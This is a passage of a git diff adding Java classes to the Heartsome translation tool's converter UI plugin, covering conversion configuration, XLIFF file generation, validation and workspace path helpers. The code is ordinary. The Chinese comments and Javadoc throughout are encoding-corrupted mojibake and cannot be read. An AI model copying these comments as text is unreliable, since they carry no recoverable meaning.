在转æ¢æ–‡ä»¶çš„过程,用于构建除用户(UI)设置的其他所需é…ç½®ä¿¡æ¯ + * @author cheney + * @since JDK1.6 + */ +public class ConverterContext { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConverterContext.class); + + // 转æ¢å™¨ç›¸å…³é…置文件顶层目录的å称 + private static final String CONVERTER_ROOT_CONFIG_FOLDER_NAME = "net.heartsome.cat.converter"; + + /** + * srx 目录 + */ + public static String srxFolder; + + // 文件路径分割符 + private static String fileSeparator = System.getProperty("file.separator"); + + // 系统的é…置文件夹路径 + private URL configurationLocation; + + // 转æ¢å™¨ç›¸å…³é…置文件所在的顶层目录 + private String configurationFolderForConverter; + + // è½¬æ¢ xliff çš„é…ç½® bean + private ConversionConfigBean configBean; + + /** + * catalogue 文件路径 + */ + public static String catalogue; + + // default srx 文件路径 + public static String defaultSrx; + + // ini 目录路径 + private String iniDir; + + static { + URL temp = Platform.getConfigurationLocation().getURL(); + if (temp != null) { + String configurationPath = new File(temp.getPath()).getAbsolutePath(); + String converterConfigurationPath = configurationPath + fileSeparator + + CONVERTER_ROOT_CONFIG_FOLDER_NAME + fileSeparator; + srxFolder = converterConfigurationPath + "srx" + fileSeparator; + defaultSrx = srxFolder + "default_rules.srx"; + catalogue = converterConfigurationPath + "catalogue" + fileSeparator + "catalogue.xml"; + } + } + + /** + * 构建函数 + * @param configBean + * 用户在 UI 所设置的é…ç½®ä¿¡æ¯ + */ + public ConverterContext(ConversionConfigBean configBean) { + this.configBean = configBean; + configurationLocation = Platform.getConfigurationLocation().getURL(); + if (configurationLocation != null) { + String configurationPath = new File(configurationLocation.getPath()).getAbsolutePath(); + configurationFolderForConverter = configurationPath + fileSeparator + CONVERTER_ROOT_CONFIG_FOLDER_NAME + + fileSeparator; + iniDir = configurationFolderForConverter + "ini"; + } + } + + /** + * 转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…ç½®ä¿¡æ¯ + * @return 返回转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…置信æ¯; + */ + public Map getConvertConfiguration() { + Map configuration = new HashMap(); + configuration.put(Converter.ATTR_SOURCE_FILE, ConverterUtil.toLocalPath(configBean.getSource())); + configuration.put(Converter.ATTR_XLIFF_FILE, ConverterUtil.toLocalPath(configBean.getTarget())); + configuration.put(Converter.ATTR_SKELETON_FILE, ConverterUtil.toLocalPath(configBean.getSkeleton())); + configuration.put(Converter.ATTR_SOURCE_LANGUAGE, configBean.getSrcLang()); + configuration.put(Converter.ATTR_TARGET_LANGUAGE, ""); + configuration.put(Converter.ATTR_SOURCE_ENCODING, configBean.getSrcEncoding()); + boolean segByElement = configBean.isSegByElement(); + configuration.put(Converter.ATTR_SEG_BY_ELEMENT, segByElement ? TRUE : FALSE); + configuration.put(Converter.ATTR_INI_FILE, ConverterUtil.toLocalPath(configBean.getInitSegmenter())); + String srx = configBean.getInitSegmenter(); + if (srx == null || srx.trim().equals("")) { + srx = defaultSrx; + } + configuration.put(Converter.ATTR_SRX, srx); + configuration.put(Converter.ATTR_LOCK_XTRANS, configBean.isLockXtrans() ? TRUE : FALSE); + configuration.put(Converter.ATTR_LOCK_100, configBean.isLock100() ? TRUE : FALSE); + configuration.put(Converter.ATTR_LOCK_101, configBean.isLock101() ? TRUE : FALSE); + configuration.put(Converter.ATTR_LOCK_REPEATED, configBean.isLockRepeated() ? TRUE : FALSE); + configuration.put(Converter.ATTR_BREAKONCRLF, configBean.isBreakOnCRLF() ? TRUE : FALSE); + configuration.put(Converter.ATTR_EMBEDSKL, configBean.isEmbedSkl() ? TRUE : FALSE); + configuration = getCommonConvertConfiguration(configuration); + if (LOGGER.isInfoEnabled()) { + printConfigurationInfo(configuration); + } + return configuration; + } + + /** + * 逆转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…ç½®ä¿¡æ¯ + * @return 返回逆转æ¢æ–‡ä»¶æ‰€éœ€è¦çš„é…置信æ¯; + */ + public Map getReverseConvertConfiguraion() { + Map configuration = new HashMap(); + configuration.put(Converter.ATTR_XLIFF_FILE, configBean.getTmpXlfPath()); + configuration.put(Converter.ATTR_TARGET_FILE, ConverterUtil.toLocalPath(configBean.getTarget())); + configuration.put(Converter.ATTR_SKELETON_FILE, configBean.getSkeleton()); + configuration.put(Converter.ATTR_SOURCE_ENCODING, configBean.getTargetEncoding()); + configuration.put(Converter.ATTR_IS_PREVIEW_MODE, configBean.isPreviewMode() ? TRUE : FALSE); + configuration = getCommonConvertConfiguration(configuration); + if (LOGGER.isInfoEnabled()) { + printConfigurationInfo(configuration); + } + return configuration; + } + + /** + * 设置通用的é…ç½®ä¿¡æ¯ + * @param configuration + * @return ; + */ + private Map getCommonConvertConfiguration(Map configuration) { + configuration.put(Converter.ATTR_CATALOGUE, catalogue); + configuration.put(Converter.ATTR_INIDIR, iniDir); + + // 设置 xml 转æ¢å™¨ä¸­éœ€è¦ç”¨åˆ°çš„ program folder,指å‘程åºçš„é…置目录 + configuration.put(Converter.ATTR_PROGRAM_FOLDER, configurationFolderForConverter); + return configuration; + } + + /** + * 打å°é…ç½®ä¿¡æ¯ + * @param configuration + */ + private void printConfigurationInfo(Map configuration) { + Iterator iterator = configuration.keySet().iterator(); + StringBuffer buffer = new StringBuffer(); + buffer.append("configuration:--------------------\n"); + while (iterator.hasNext()) { + String key = iterator.next(); + String value = configuration.get(key); + buffer.append("key:" + key + "--value:" + value + "\n"); + } + buffer.append("---------------------------------"); + System.out.println(buffer.toString()); + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterNotFoundException.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterNotFoundException.java new file mode 100644 index 0000000..8ba1b23 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterNotFoundException.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.convert.ui.model; + +import net.heartsome.cat.converter.ConverterException; + +import org.eclipse.core.runtime.IStatus; + +/** + * 找ä¸åˆ°æ‰€éœ€è½¬æ¢å™¨çš„需æ•èŽ·å¼‚常 + * @author cheney + * @since JDK1.6 + */ +public class ConverterNotFoundException extends ConverterException { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + /** + * 构造函数 + * @param status + */ + public ConverterNotFoundException(IStatus status) { + super(status); + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java new file mode 100644 index 0000000..21710db --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java @@ -0,0 +1,113 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.databinding.viewers.IViewerObservableValue; +import org.eclipse.jface.databinding.viewers.ViewersObservables; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ViewerComparator; + +/** + * @author cheney + * @since JDK1.6 + */ +public final class ConverterUtil { + private static final String PROPERTIES_NAME = "name"; + + private static final String PROPERTIES_SELECTED_TYPE = "selectedType"; + + private static IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + /** + * ç§æœ‰æž„建函数 + */ + private ConverterUtil() { + // 防止创建实例 + } + + /** + * 对下拉列表和转æ¢å™¨åˆ—表进行绑定 + * @param context + * @param comboViewer + * @param model + * ; + */ + public static void bindValue(DataBindingContext context, ComboViewer comboViewer, ConverterViewModel model) { + // ViewerSupport.bind(comboViewer, BeansObservables.observeList( + // model, "supportTypes", String.class), + // Properties.selfValue(String.class)); + // + // + // context.bindValue(ViewersObservables + // .observeSingleSelection(comboViewer), BeansObservables + // .observeValue(model, + // "selectedType")); + + // ObservableListContentProvider viewerContentProvider=new ObservableListContentProvider(); + comboViewer.setContentProvider(new ArrayContentProvider()); + comboViewer.setComparator(new ViewerComparator()); + // IObservableMap[] attributeMaps = BeansObservables.observeMaps( + // viewerContentProvider.getKnownElements(), + // ConverterBean.class, new String[] { "description" }); + // comboViewer.setLabelProvider(new ObservableMapLabelProvider( + // attributeMaps)); + // comboViewer.setInput(Observables.staticObservableList(model.getSupportTypes(),ConverterBean.class)); + + comboViewer.setInput(model.getSupportTypes()); + IViewerObservableValue selection = ViewersObservables.observeSingleSelection(comboViewer); + IObservableValue observableValue = BeansObservables.observeDetailValue(selection, PROPERTIES_NAME, null); + context.bindValue(observableValue, BeansObservables.observeValue(model, PROPERTIES_SELECTED_TYPE)); + } + + /** + * 是å¦ä¸ºå·¥ä½œç©ºé—´å†…的路径 + * @param workspacePath + * @return ; + */ + private static boolean isWorkspacePath(String workspacePath) { + IFile file = root.getFileForLocation(URIUtil.toPath(new File(workspacePath).toURI())); + return file == null; + } + + /** + * 得到本地文件系统路径 + * @param workspacePath + * @return ; + */ + public static String toLocalPath(String workspacePath) { + if (isWorkspacePath(workspacePath)) { + IPath path = Platform.getLocation(); + return path.append(workspacePath).toOSString(); + } else { + return workspacePath; + } + } + + /** + * 得到本地文件。 + * @param workspacePath + * @return ; + */ + public static File toLocalFile(String workspacePath) { + if (isWorkspacePath(workspacePath)) { + IPath path = Platform.getLocation(); + return path.append(workspacePath).toFile(); + } else { + return new File(workspacePath); + } + } + + public static IFile localPath2IFile(String localPath){ + return root.getFileForLocation(URIUtil.toPath(new File(localPath).toURI())); + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java new file mode 100644 index 0000000..4d8728a --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java @@ -0,0 +1,570 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.action.ConversionCompleteAction; +import net.heartsome.cat.convert.ui.job.JobFactoryFacade; +import net.heartsome.cat.convert.ui.job.JobRunnable; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.utils.FileFormatUtils; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.ConverterTracker; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.preferencepage.translation.ITranslationPreferenceConstants; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.statushandlers.StatusManager; +import org.osgi.framework.BundleContext; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.NavException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * 在界é¢ä¸Šæ˜¾ç¤ºè½¬æ¢å™¨åˆ—表的 View Model + * @author cheney,weachy + * @since JDK1.5 + */ +public class ConverterViewModel extends ConverterTracker { + private static final Logger LOGGER = LoggerFactory.getLogger(ConverterViewModel.class.getName()); + private ConversionConfigBean configBean; + private IConversionItem conversionItem; + + private List generateTgtFileList = new ArrayList(); + + /** + * UI è·Ÿ 转æ¢å™¨ä¹‹é—´çš„ View Model + * @param bundleContext + * @param direction + */ + public ConverterViewModel(BundleContext bundleContext, String direction) { + super(bundleContext, direction); + configBean = new ConversionConfigBean(); + } + + /** + * 获得转æ¢æ–‡ä»¶æ—¶å­˜å‚¨é…置信æ¯çš„对象 + * @return ; + */ + public ConversionConfigBean getConfigBean() { + return configBean; + } + + @Override + public Map convert(Map parameters) { + return convert(); + } + + /** + * æ ¹æ®ç”¨æˆ·çš„选择和é…置信æ¯ï¼Œæ‰§è¡Œæ–‡ä»¶çš„转æ¢åŠŸèƒ½ + * @return ; + */ + public Map convert() { + // System.out.print(getConfigBean().toString()); + // 以用户最åŽåœ¨é…置对è¯æ¡†æ‰€é€‰æ‹©çš„æºæ–‡ä»¶ä¸ºå‡† + JobRunnable runnalbe = new JobRunnable() { + + private Map conversionResult; + + public IStatus run(IProgressMonitor monitor) { + IStatus result = Status.OK_STATUS; + try { + conversionResult = convertWithoutJob(monitor); + } catch (OperationCanceledException e) { + LOGGER.info(Messages.getString("model.ConverterViewModel.logger2"), e); + result = Status.CANCEL_STATUS; + } catch (ConverterException e) { + String msg = Messages.getString("model.ConverterViewModel.logger3"); + Object[] args = { getConfigBean().getSource() }; + LOGGER.error(new MessageFormat(msg).format(args), e); + result = e.getStatus(); + } finally { + ConverterViewModel.this.close(); + } + return result; + } + + public void showResults(IStatus status) { + IAction action = getRunnableCompletedAction(status); + if (action != null) { + action.run(); + } + } + + public IAction getRunnableCompletedAction(IStatus status) { + return new ConversionCompleteAction(Messages.getString("model.ConverterViewModel.msg1"), status, + conversionResult); + } + }; + Job conversionJob = JobFactoryFacade.createJob(Display.getDefault(), "conversion job", runnalbe); + conversionJob.setUser(true); + conversionJob.setRule(conversionItem.getProject()); + conversionJob.schedule(); + return null; + } + + /** + * æ­£å‘转æ¢ï¼ˆåªæ˜¯è½¬æ¢çš„过程,未放入åŽå°çº¿ç¨‹ï¼Œæœªå¤„ç†è½¬æ¢ç»“æžœæ示信æ¯ï¼‰ï¼› + * @param sourceItem + * @param monitor + * @return ; + * @throws ConverterException + */ + public Map convertWithoutJob(IProgressMonitor subMonitor) throws ConverterException { + if (getDirection().equals(Converter.DIRECTION_POSITIVE)) { + return convert(conversionItem, subMonitor); + } else { + return reverseConvert(conversionItem, subMonitor); + } + } + + /** + * æ­£å‘è½¬æ¢ + * @param sourceItem + * @param monitor + * @return ; + */ + private Map convert(final IConversionItem sourceItem, IProgressMonitor monitor) + throws ConverterException { + Map result = null; + boolean convertFlg = false; + + String xliffDir = ConverterUtil.toLocalPath(configBean.getXliffDir()); + String targetFile = ConverterUtil.toLocalPath(configBean.getTarget()); + String skeletonFile = ConverterUtil.toLocalPath(configBean.getSkeleton()); + + // 转æ¢å‰çš„准备 + ConverterContext converterContext = new ConverterContext(configBean); + final Map configuration = converterContext.getConvertConfiguration(); + + // 转æ¢å‰ï¼Œç”Ÿæˆä¸´æ—¶çš„XLIFF文件,用此文件生æˆæŒ‡å®šç›®æ ‡è¯­è¨€çš„XLIFF文件 + File targetTempFile = null; + try { + targetTempFile = File.createTempFile("tempxlf", "xlf"); + } catch (IOException e) { + LOGGER.error(Messages.getString("model.ConverterViewModel.msg10"), e); + } + configuration.put(Converter.ATTR_XLIFF_FILE, targetTempFile.getAbsolutePath()); + + if (configBean.getFileType().equals(FileFormatUtils.MS)) { + IPreferenceStore ps = net.heartsome.cat.ts.ui.Activator.getDefault().getPreferenceStore(); + String path = ps.getString(ITranslationPreferenceConstants.PATH_OF_OPENOFFICE); + String port = ps.getString(ITranslationPreferenceConstants.PORT_OF_OPENOFFICE); + configuration.put("ooPath", path); + configuration.put("ooPort", port); + } + + // 创建skeleton文件 + File skeleton = new File(skeletonFile); + if (!skeleton.exists()) { + try { + File parent = skeleton.getParentFile(); + if (!parent.exists()) { + parent.mkdirs(); + } + skeleton.createNewFile(); + } catch (IOException e) { + String message = MessageFormat.format(Messages.getString("model.ConverterViewModel.msg11"), skeletonFile); + LOGGER.error(message, e); + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message+"\n"+e.getMessage()); + throw new ConverterException(status); + } + } + + try { + // æ‰§è¡Œè½¬æ¢ + Converter converter = getConverter(); + if (converter == null) { + // Build a message + String message = Messages.getString("model.ConverterViewModel.msg2") + configBean.getFileType(); + // Build a new IStatus + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message); + throw new ConverterException(status); + } + result = converter.convert(configuration, monitor); + + // 处ç†éª¨æž¶æ–‡ä»¶ï¼Œå°†éª¨æž¶æ–‡ä»¶è·¯å¾„修改为项目相对路径,此路径写入external-file节点的href属性 + String projectPath = sourceItem.getProject().getLocation().toOSString(); + String sklPath = skeletonFile.replace(projectPath, ""); + + // 处ç†ç›®æ ‡è¯­è¨€, 创建多个目标语言的文件 + List tgtLang = configBean.getHasSelTgtLangList(); + if (tgtLang != null && tgtLang.size() > 0) { + // 解æžXLIFF文件 + File f = new File(targetTempFile.getAbsolutePath()); + FileInputStream is = null; + byte[] b = new byte[(int) f.length()]; + try { + is = new FileInputStream(f); + is.read(b); + } catch (IOException e) { + e.printStackTrace(); + } finally { + if (is != null) { + try { + is.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + + VTDGen vg = new VTDGen(); + vg.setDoc(b); + try { + vg.parse(true); + } catch (VTDException e) { + String message = Messages.getString("model.ConverterViewModel.msg12"); + LOGGER.error(message, e); + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message+"\n"+e.getMessage()); + throw new ConverterException(status); + } + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(); + + // 生æˆå¤šä¸ªXLIFF文件,åªæ˜¯ä¿®æ”¹ç›®æ ‡è¯­è¨€å’Œéª¨æž¶æ–‡ä»¶è·¯å¾„ + for (Language lang : tgtLang) { + + // ä¿®å¤ã€€bug 2949 ,当文件å中出现 XLIFF 时,文件å获å–失败,下é¢æ³¨é‡Šä»£ç ä¸ºä¹‹å‰çš„代ç ã€‚ --robert 2013-04-01 +// String[] pathArray = targetFile.split(Constant.FOLDER_XLIFF); +// StringBuffer xlffPath = new StringBuffer(pathArray[0]); +// xlffPath.append(Constant.FOLDER_XLIFF).append(File.separator).append(lang.getCode()) +// .append(pathArray[1]); + String fileName = targetFile.substring(xliffDir.length()); + StringBuffer xlfPahtSB = new StringBuffer(); + xlfPahtSB.append(xliffDir); + xlfPahtSB.append(File.separator); + xlfPahtSB.append(lang.getCode()); + xlfPahtSB.append(fileName); + + + + File tmpFile = new File(xlfPahtSB.toString()); + generateTgtFileList.add(tmpFile); + if (!tmpFile.exists()) { + File parent = tmpFile.getParentFile(); + if (!parent.exists()) { + parent.mkdirs(); + } + try { + tmpFile.createNewFile(); + } catch (IOException e) { + String message = Messages.getString("model.ConverterViewModel.msg13"); + LOGGER.error(message, e); + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message+"\n"+e.getMessage()); + throw new ConverterException(status); + } + } + try { + vu.bind(vn.duplicateNav()); + } catch (NavException e) { + LOGGER.error("", e); + } + XMLModifier xm = vu.update("/xliff/file/@target-language", lang.getCode(), + VTDUtils.CREATE_IF_NOT_EXIST); + xm = vu.update(null, xm, "/xliff/file/header/skl/external-file/@href", + TextUtil.cleanString(sklPath)); + + FileOutputStream fos = null; + try { + fos = new FileOutputStream(tmpFile); + xm.output(fos); // 写入文件 + } catch (Exception e) { + String message = Messages.getString("model.ConverterViewModel.msg13"); + LOGGER.error(message, e); + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message+"\n"+e.getMessage()); + throw new ConverterNotFoundException(status); + } finally { + if (fos != null) { + try { + fos.close(); + } catch (IOException e) { + LOGGER.error("",e); + } + } + } + } + vg.clear(); + } + convertFlg = true; + } finally { + if (!convertFlg) { + for (File f : generateTgtFileList) { + if (f != null && f.exists()) { + f.delete(); + } + } + if(skeleton != null && skeleton.exists()){ + skeleton.delete(); + } + } + targetTempFile.delete(); + sourceItem.refresh(); + } + return result; + } + + /** + * 获å–转æ¢åŽç”Ÿæˆçš„多个目标文件 + * @return ; + */ + public List getGenerateTgtFileList(){ + return this.generateTgtFileList; + } + + /** + * 逆å‘è½¬æ¢ + * @param sourceItem + * @param monitor + * @return ; + */ + private Map reverseConvert(IConversionItem sourceItem, IProgressMonitor monitor) + throws ConverterException { + Map result = null; + String sourcePathStr = configBean.getSource(); + String targetFile = ConverterUtil.toLocalPath(configBean.getTarget()); + boolean convertSuccessful = false; + File target = null; + try { + target = new File(targetFile); + if (!target.exists()) { + try { + File parent = target.getParentFile(); + if (!parent.exists()) { + parent.mkdirs(); + } + target.createNewFile(); + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("model.ConverterViewModel.logger4"); + Object[] args = { targetFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } + } + Converter converter = getConverter(); + if (converter == null) { + // Build a message + String message = Messages.getString("model.ConverterViewModel.msg3") + configBean.getFileType(); + // Build a new IStatus + IStatus status = new Status(IStatus.ERROR, Activator.PLUGIN_ID, message); + throw new ConverterNotFoundException(status); + } + + ConverterContext converterContext = new ConverterContext(configBean); + final Map configuration = converterContext.getReverseConvertConfiguraion(); + if (configBean.getFileType().equals("x-msoffice2003")) { + IPreferenceStore ps = net.heartsome.cat.ts.ui.Activator.getDefault().getPreferenceStore(); + String path = ps.getString(ITranslationPreferenceConstants.PATH_OF_OPENOFFICE); + String port = ps.getString(ITranslationPreferenceConstants.PORT_OF_OPENOFFICE); + configuration.put("ooPath", path); + configuration.put("ooPort", port); + } + result = converter.convert(configuration, monitor); + convertSuccessful = true; + } catch (OperationCanceledException e) { + // æ•èŽ·ç”¨æˆ·å–消æ“作的异常 + LOGGER.info(Messages.getString("model.ConverterViewModel.logger2"), e); + throw e; + } catch (ConverterNotFoundException e) { + // Let the StatusManager handle the Status and provide a hint + StatusManager.getManager().handle(e.getStatus(), StatusManager.LOG | StatusManager.SHOW); + if (LOGGER.isErrorEnabled()) { + LOGGER.error(e.getMessage(), e); + } + throw e; + } catch (ConverterException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error( + MessageFormat.format(Messages.getString("model.ConverterViewModel.logger3"), sourcePathStr), e); + } + throw e; + } finally { + if (!convertSuccessful) { + // 在转æ¢å¤±è´¥æˆ–用户å–消转æ¢æ—¶ï¼Œæ¸…除目标文件和骨架文件 + if (target != null && target.exists()) { + target.delete(); + } + } + sourceItem.refresh(); + } + return result; + } + + /** + * éªŒè¯ + * @return ; + */ + public IStatus validate() { + if (direction.equals(Converter.DIRECTION_POSITIVE)) { + return validateConversion(); + } else { + return validateReverseConversion(); + } + } + + /** + * 逆å‘转æ¢éªŒè¯ + * @return ; + */ + private IStatus validateReverseConversion() { + return configBean.validateReverseConversion(); + } + + /** + * éªŒè¯ xliff 所需è¦è½¬æ¢çš„ xliff 文件 + * @param xliffPath + * xliff 文件路径 + * @param monitor + * @return ; + */ + public IStatus validateXliffFile(String xliffPath, XLFHandler handler, IProgressMonitor monitor) { + IStatus result = new ReverseConversionValidateWithLibrary3().validate(xliffPath, configBean, monitor); + if (!result.isOK()) { + return result; + } + // 验è¯æ˜¯å¦å­˜åœ¨ xliff 对应的æºæ–‡ä»¶ç±»åž‹çš„转æ¢å™¨å®žçŽ° + String fileType = configBean.getFileType(); + Converter converter = getConverter(fileType); + if (converter != null) { + result = validateFileNodeInXliff(handler, xliffPath, converter.getType()); // éªŒè¯ XLIFF 文件的 file 节点 + if (!result.isOK()) { + return result; + } + + result = validIsSplitedXliff(handler, xliffPath); + if (!result.isOK()) { + return result; + } + setSelectedType(fileType); + result = Status.OK_STATUS; + } else { + result = ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg3") + fileType); + } + return result; + } + + /** + * éªŒè¯ XLIFF 文件中的 file 节点 + * @param handler + * XLFHandler 实例 + * @param xliffPath + * XLIFF 文件路径 + * @param type + * 文件类型,(Converter.getType() 的值,XLIIF 文件 file 节点的 datatype 属性值) + * @return ; + */ + private IStatus validateFileNodeInXliff(XLFHandler handler, String xliffPath, String type) { + handler.reset(); // é‡ç½®ï¼Œä»¥ä¾¿é‡æ–°ä½¿ç”¨ã€‚ + Map resultMap = handler.openFile(xliffPath); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap.get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg4")); //$NON-NLS-1$ + } + try { + int fileCount = handler.getFileCountInXliff(xliffPath); + if (fileCount < 1) { // ä¸å­˜åœ¨ file 节点。æ示为ä¸åˆæ³•çš„ XLIFF + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg4")); //$NON-NLS-1$ + } else if (fileCount > 1) { // 多个 file 节点,æ示分割。 + if (ConverterUtils.isOpenOfficeOrMSOffice2007(type)) { + // 验è¯æºæ–‡ä»¶æ˜¯ OpenOffice å’Œ MSOffice 2007 çš„XLIFF çš„ file 节点信æ¯æ˜¯å¦å®Œæ•´ + return validateOpenOfficeOrMSOffice2007(handler, xliffPath); + } + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg5")); //$NON-NLS-1$ + } else { // åªæœ‰ä¸€ä¸ª file 节点 + return Status.OK_STATUS; + } + } catch (Exception e) { // 当å‰æ‰“开了多个 XLIFF 文件,å‚看 XLFHandler.getFileCountInXliff() 方法 + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg5")); //$NON-NLS-1$ + } + } + + /** + * 验è¯æ˜¯å¦æ˜¯åˆ†å‰²æ–‡ä»¶ï¼Œè‹¥æ˜¯ï¼Œæ示ä¸å…许通过 robert 2012-06-09 + * @param handler + * @param xliffPath + * @return + */ + private IStatus validIsSplitedXliff(XLFHandler handler, String xliffPath) { + if (!handler.validateSplitedXlf(xliffPath)) { + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg6")); + } + return Status.OK_STATUS; + } + + /** + * 验è¯æºæ–‡ä»¶æ˜¯ OpenOffice å’Œ MSOffice 2007 çš„XLIFF çš„ file 节点信æ¯æ˜¯å¦å®Œæ•´ + * @param handler + * @param path + * @return ; + */ + private IStatus validateOpenOfficeOrMSOffice2007(XLFHandler handler, String path) { + if (!handler.validateMultiFileNodes(path)) { + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg7")); + } + return Status.OK_STATUS; + } + + /** + * æ­£å‘转æ¢éªŒè¯ + * @return ; + */ + private IStatus validateConversion() { + if (selectedType == null || selectedType.trim().equals("")) { + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg8")); + } + if (configBean.getFileType().equals(FileFormatUtils.MS)) { + IPreferenceStore ps = net.heartsome.cat.ts.ui.Activator.getDefault().getPreferenceStore(); + boolean enableOO = ps.getBoolean(ITranslationPreferenceConstants.ENABLED_OF_OPENOFFICE); + if (!enableOO) { + return ValidationStatus.error(Messages.getString("model.ConverterViewModel.msg9")); + } + } + return configBean.validateConversion(); + } + + /** + * 在导航视图中所选择的文件 + * @param file + * ; + */ + public void setConversionItem(IConversionItem file) { + this.conversionItem = file; + } + + /** + * 在导航视图中所选择的文件 + * @return ; + */ + public IConversionItem getConversionItem() { + return conversionItem; + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/DefaultConversionItem.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/DefaultConversionItem.java new file mode 100644 index 0000000..2d6570e --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/DefaultConversionItem.java @@ -0,0 +1,87 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; + +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.jobs.ISchedulingRule; + +/** + * 默认的转项目实现 + * @author cheney + * @since JDK1.6 + */ +public class DefaultConversionItem implements IConversionItem { + + /** + * 空转æ¢é¡¹ç›® + */ + public static final IConversionItem EMPTY_CONVERSION_ITEM = new DefaultConversionItem(Path.EMPTY); + + /** + * 转æ¢é¡¹ç›®çš„路径 + */ + protected IPath path; + + /** + * 相对于转æ¢é¡¹ç›®è·¯å¾„的上一层转æ¢é¡¹ç›® + */ + protected IConversionItem parent; + + /** + * 默认转æ¢é¡¹ç›®çš„构建函数 + * @param path + */ + public DefaultConversionItem(IPath path) { + this.path = path; + + } + + public void refresh() { + // do nothing + } + + public boolean contains(ISchedulingRule rule) { + if (this == rule) { + return true; + } + if (!(rule instanceof DefaultConversionItem)) { + return false; + } + DefaultConversionItem defaultConversionItem = (DefaultConversionItem) rule; + // 处ç†è·¯å¾„相åŒçš„情况 + return path.equals(defaultConversionItem.path); + } + + public boolean isConflicting(ISchedulingRule rule) { + if (!(rule instanceof DefaultConversionItem)) { + return false; + } + DefaultConversionItem defaultConversionItem = (DefaultConversionItem) rule; + // 处ç†è·¯å¾„相åŒçš„情况 + return path.equals(defaultConversionItem.path); + } + + public IPath getLocation() { + return path; + } + + public IConversionItem getParent() { + if (parent == null) { + File temp = path.toFile().getParentFile(); + if (temp != null) { + parent = new DefaultConversionItem(new Path(temp.getAbsolutePath())); + } + } + return parent; + 